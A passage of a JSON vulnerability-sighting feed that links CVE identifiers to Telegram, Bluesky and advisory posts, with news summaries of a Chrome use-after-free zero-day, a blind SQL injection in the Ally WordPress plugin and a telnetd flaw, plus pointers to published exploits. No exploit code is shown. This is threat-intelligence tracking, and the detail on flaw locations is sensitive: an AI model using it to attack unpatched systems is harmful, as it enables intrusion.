\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0438\u0445 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u043b\u0438\u044f\u043d\u0438\u044f.\n\n\u0412\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0432 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u0434\u043b\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u0438\u0445 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0441 \u0443\u0447\u0435\u0442\u043e\u043c \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0438 \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0435\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u041d\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c \u044d\u0442\u0430\u043f\u0435 \u0430\u0433\u0435\u043d\u0442 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0430\u0438\u043b\u0443\u0447\u0448\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0443\u043c\u0435\u043d\u044c\u0448\u0430\u044f \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0440\u0435\u0433\u0440\u0435\u0441\u0441\u0438\u0439, \u0443\u043f\u0440\u043e\u0449\u0430\u044f \u0438\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c, \u043e\u0442\u043c\u0435\u0442\u0438\u043c, \u0447\u0442\u043e \u0441\u043a\u0430\u043d\u0435\u0440\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0418\u0418 - \u043d\u0435 \u043d\u043e\u0432\u0438\u043d\u043a\u0430.\n\n\u041d\u0435\u0434\u0430\u0432\u043d\u043e Claude \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u043a\u0430\u043d\u0435\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 - Claude Code Security. GitHub \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0443\u0436\u0435 \u043c\u043d\u043e\u0433\u043e \u043b\u0435\u0442, \u0430 Google\u00a0\u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0434\u043e\u0431\u0438\u043b\u0430\u0441\u044c \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0435\u0441\u0441\u0430 \u0432 \u044d\u0442\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438.", "creation_timestamp": "2026-03-10T17:00:08.000000Z"}, {"uuid": "6a1a19a0-ae75-4a07-96b0-56f13689b516", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "exploited", "source": "https://t.me/information_security_channel/54854", "content": "Google Patches First Actively Exploited Chrome Zero-Day of 2026\nhttps://www.securityweek.com/google-patches-first-actively-exploited-chrome-zero-day-of-2026/\n\nA Chrome 145 update fixes CVE-2026-2441, a vulnerability that can likely be exploited for arbitrary code execution.\nThe post Google Patches First Actively Exploited Chrome Zero-Day of 2026 (https://www.securityweek.com/google-patches-first-actively-exploited-chrome-zero-day-of-2026/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2026-02-16T08:06:42.000000Z"}, {"uuid": "13cf50e8-238e-4e1d-b226-46fcaa22f195", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2413", "type": "seen", "source": "https://t.me/true_secator/7987", "content": "WordFence \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Ally \u0434\u043b\u044f WordPress \u043e\u0442 Elementor \u0441 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 400 000 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-2413 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438. \u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0414\u0440\u044e \u0412\u0435\u0431\u0431\u0435\u0440\u043e\u043c\u0443 (mcdruid) \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Acquia.\n\nCVE-2026-2413 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Ally \u0434\u043e 4.0.3 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0447\u0435\u0440\u0435\u0437 \u043f\u0443\u0442\u044c URL \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 URL \u0432 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u043c \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 URL, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c, \u0432 \u043c\u0435\u0442\u043e\u0434\u0435 get_global_remediations(), \u0433\u0434\u0435 \u043e\u043d \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440 SQL JOIN \u0431\u0435\u0437 \u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0449\u0435\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0443 SQL.\n\n\u0425\u043e\u0442\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f esc_url_raw() \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 URL-\u0430\u0434\u0440\u0435\u0441\u043e\u0432, \u043e\u043d\u0430 \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u043c\u0435\u0442\u0430\u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 SQL (\u043e\u0434\u0438\u043d\u043e\u0447\u043d\u044b\u0445 \u043a\u0430\u0432\u044b\u0447\u0435\u043a, \u0441\u043a\u043e\u0431\u043e\u043a).\n\n\u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0442\u044c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u0430\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438\u0437 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u0441\u043b\u0435\u043f\u043e\u0439 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438, \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043d\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438.\n\nWordfence \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 \u043f\u043b\u0430\u0433\u0438\u043d \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d \u043a \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 Elementor \u0438 \u0430\u043a\u0442\u0438\u0432\u0435\u043d \u043c\u043e\u0434\u0443\u043b\u044c \u00ab\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043e\u043a\u00bb.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u043e \u043d\u0435\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0443 13 \u0444\u0435\u0432\u0440\u0430\u043b\u044f. Elementor \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 4.1.0 (\u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439), \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 23 \u0444\u0435\u0432\u0440\u0430\u043b\u044f, \u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0431\u044b\u043b\u043e \u0432\u044b\u043f\u043b\u0430\u0447\u0435\u043d\u043e \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0440\u0430\u0437\u043c\u0435\u0440\u0435 800 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c WordPress, \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u043a\u043e\u043b\u043e 36% \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u043c Ally, \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0438\u0441\u044c \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 4.1.0, \u0442\u0430\u043a \u0447\u0442\u043e \u0431\u043e\u043b\u0435\u0435 250 000 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0434\u043b\u044f CVE-2026-2413.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f Ally \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 4.1.0 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0442\u0430\u043a\u0436\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f WordPress, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0435 \u0432\u0447\u0435\u0440\u0430. WordPress 6.9.2 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f XSS, \u043e\u0431\u0445\u043e\u0434 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 SSRF.", "creation_timestamp": "2026-03-12T13:14:13.000000Z"}, {"uuid": "fc87e269-e57f-4409-8f08-2436f84a36f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "exploited", "source": "https://t.me/xakep_ru/18842", "content": "800 000 Telnet-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0440\u0438\u0441\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\n\n\u0410\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0438 Shadowserver Foundation \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442 \u043f\u043e\u0447\u0442\u0438 800 000 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u043d\u0430 \u0444\u043e\u043d\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-24061 \u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u043c \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 GNU InetUtils telnetd.\n\nhttps://xakep.ru/2026/01/28/telnetd/", "creation_timestamp": "2026-01-28T08:36:27.000000Z"}, {"uuid": "1be91cac-41ae-4174-9965-396dd1a5922f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "exploited", "source": "https://t.me/thehackernews/8416", "content": "\ud83d\udea8 Google patched Chrome zero-day CVE-2026-2441, a CVSS 8.8 bug already exploited in attacks.\n\nThe CSS use-after-free flaw allows sandboxed remote code execution via malicious pages.\n\n\ud83d\udd17 Read \u2192 https://thehackernews.com/2026/02/new-chrome-zero-day-cve-2026-2441-under.html\n\nFirst active Chrome zero-day fixed this year. Update now.", "creation_timestamp": "2026-02-16T06:41:02.000000Z"}, {"uuid": "1d9b51f0-e212-4791-8691-f63cbe41d394", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://gist.github.com/myakura/257ea759f544bd85fe88b99be0e52088", "content": "", "creation_timestamp": "2026-04-27T19:50:38.000000Z"}, {"uuid": "d944a1d2-4d81-4bbd-82df-a0cb132a8df8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/exploitdb-bot.bsky.social/post/3mkmxnr5jxk27", "content": "\ud83d\udea8 New Exploit: GNU InetUtils 2.6 - Telnetd Remote Privilege Escalation\n\ud83d\udccb CVE: CVE-2026-24061\n\ud83d\udc64 Author: aliguliyev\n\n\ud83d\udd17 https://www.exploit-db.com/exploits/52524\n\n#ExploitDB #InfoSec #CyberSecurity #CVE-2026-24061", "creation_timestamp": "2026-04-29T11:11:07.281662Z"}, {"uuid": "0f79bf91-677f-4620-98cf-78b0394cd647", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24467", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mkeb5oxsqu2u", "content": "", "creation_timestamp": "2026-04-26T00:07:07.684724Z"}, {"uuid": "1f710dfd-e14d-4da7-9cf4-e03dce558cc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24303", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mkkqzkz7jj2z", "content": "", "creation_timestamp": "2026-04-28T14:07:08.141870Z"}, {"uuid": "0414fa4a-953c-4a61-adaf-879ad6c2d360", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24178", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mkll3ttw4g2e", "content": "", "creation_timestamp": "2026-04-28T21:53:41.119145Z"}, {"uuid": "e86490d6-a5d9-4eab-8ac4-4985fd99f7f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24186", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mkll5e32xe2a", "content": "", "creation_timestamp": "2026-04-28T21:54:31.548302Z"}, {"uuid": "72aec598-f66d-4b9a-a7f3-0e34a2e37e2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24231", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116483372219679349", "content": "", "creation_timestamp": "2026-04-28T16:55:35.999641Z"}, {"uuid": "ee878c83-b24e-416f-aca0-ceec6adfc58e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24178", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116483372219679349", "content": "", "creation_timestamp": "2026-04-28T16:53:26.453929Z"}, {"uuid": "2b6e5bf0-78b8-4d29-8edb-9ae3f336d049", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24186", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116483372219679349", "content": "", "creation_timestamp": "2026-04-28T16:53:26.588709Z"}, {"uuid": "9253acd0-f571-4c69-81f2-5d0a35520f84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24222", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116483372219679349", "content": "", "creation_timestamp": "2026-04-28T16:55:35.830176Z"}, {"uuid": "16bc57ac-bce7-45c5-a401-619171c71b61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24893", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mkl6gqbowm2s", "content": "", "creation_timestamp": "2026-04-28T18:07:07.929463Z"}, {"uuid": "b7004acf-8a53-412f-9d28-a98dae72607d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24303", "type": "published-proof-of-concept", "source": "Telegram/kiTcjsXT1hi2Y3u94e7GhzI_uEtNJE-kdjO7sui75MorBPg", "content": "", "creation_timestamp": "2026-04-23T23:27:09.000000Z"}, {"uuid": "b6a20877-3b6a-473a-a638-7b0571787474", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24467", "type": "seen", "source": "Telegram/7kKxZY5KjVtNNq82uAZn6qPfMFkWsKJQXsAec31tF_mY8_8", "content": "", "creation_timestamp": "2026-04-20T17:21:45.000000Z"}, {"uuid": "201cc44f-33ae-4d7a-aee2-f051865d3a19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24504", "type": "seen", "source": "Telegram/4zRGsEPwCWPOVkiJwGYn1R_sXuEnR_EKMT0DdgACfDkyyoA", "content": "", "creation_timestamp": "2026-04-20T21:21:38.000000Z"}, {"uuid": "9cf6307a-c05b-4a50-8fc6-3ff23f4c51a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24189", "type": "seen", "source": "Telegram/IV3XUTu_mqBvhxDGxYKmJv890gnK1hu13PgwZ6_nuJXKkSo", "content": "", "creation_timestamp": "2026-04-21T19:25:24.000000Z"}, {"uuid": "59e7dab2-fa2a-4f76-aff1-c95ea31bd7e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24177", "type": "seen", "source": "Telegram/IV3XUTu_mqBvhxDGxYKmJv890gnK1hu13PgwZ6_nuJXKkSo", "content": "", "creation_timestamp": "2026-04-21T19:25:24.000000Z"}, {"uuid": "6eeb11b4-e38a-40b6-a7f1-638f22b4615e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24884", "type": "seen", "source": "Telegram/WzFh75qC0rKhc-ksOtYvdTuNUy7-5M1wjcl5aTvCRw8jriM", "content": "", "creation_timestamp": "2026-04-21T23:30:49.000000Z"}, {"uuid": "aa71f776-c2d2-44e1-899e-3b1b1a84dab2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24505", "type": "seen", "source": "Telegram/itZIvBa41gHmxLOZ4e3ooVdAvJm4yIE4KZd9_P4HVJMq_4o", "content": "", "creation_timestamp": "2026-04-20T21:21:58.000000Z"}, {"uuid": "ed02a441-207e-422d-8918-699560ebbfca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24506", "type": "seen", "source": "Telegram/itZIvBa41gHmxLOZ4e3ooVdAvJm4yIE4KZd9_P4HVJMq_4o", "content": "", "creation_timestamp": "2026-04-20T21:21:58.000000Z"}, {"uuid": "dd4f37aa-24b9-4542-9e78-6423c1d720af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24465", "type": "seen", "source": "https://jvn.jp/en/jp/JVN94012927", "content": "", "creation_timestamp": "2026-05-11T22:15:50.000000Z"}, {"uuid": "b345e1d5-d0ed-4ae9-ba98-b050caba71b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24449", "type": "seen", "source": "https://jvn.jp/en/jp/JVN94012927", "content": "", "creation_timestamp": "2026-05-11T22:15:50.000000Z"}, {"uuid": "7717bf96-f6ae-4714-8290-c04e277b8219", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2482", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ibm-websphere-products-multiple-vulnerabilities_20260730", "content": "", "creation_timestamp": "2026-07-30T05:15:05.038204Z"}, {"uuid": "1cc0681f-e05d-4185-b25d-3b8ccf602c01", "vulnerability_lookup_origin": 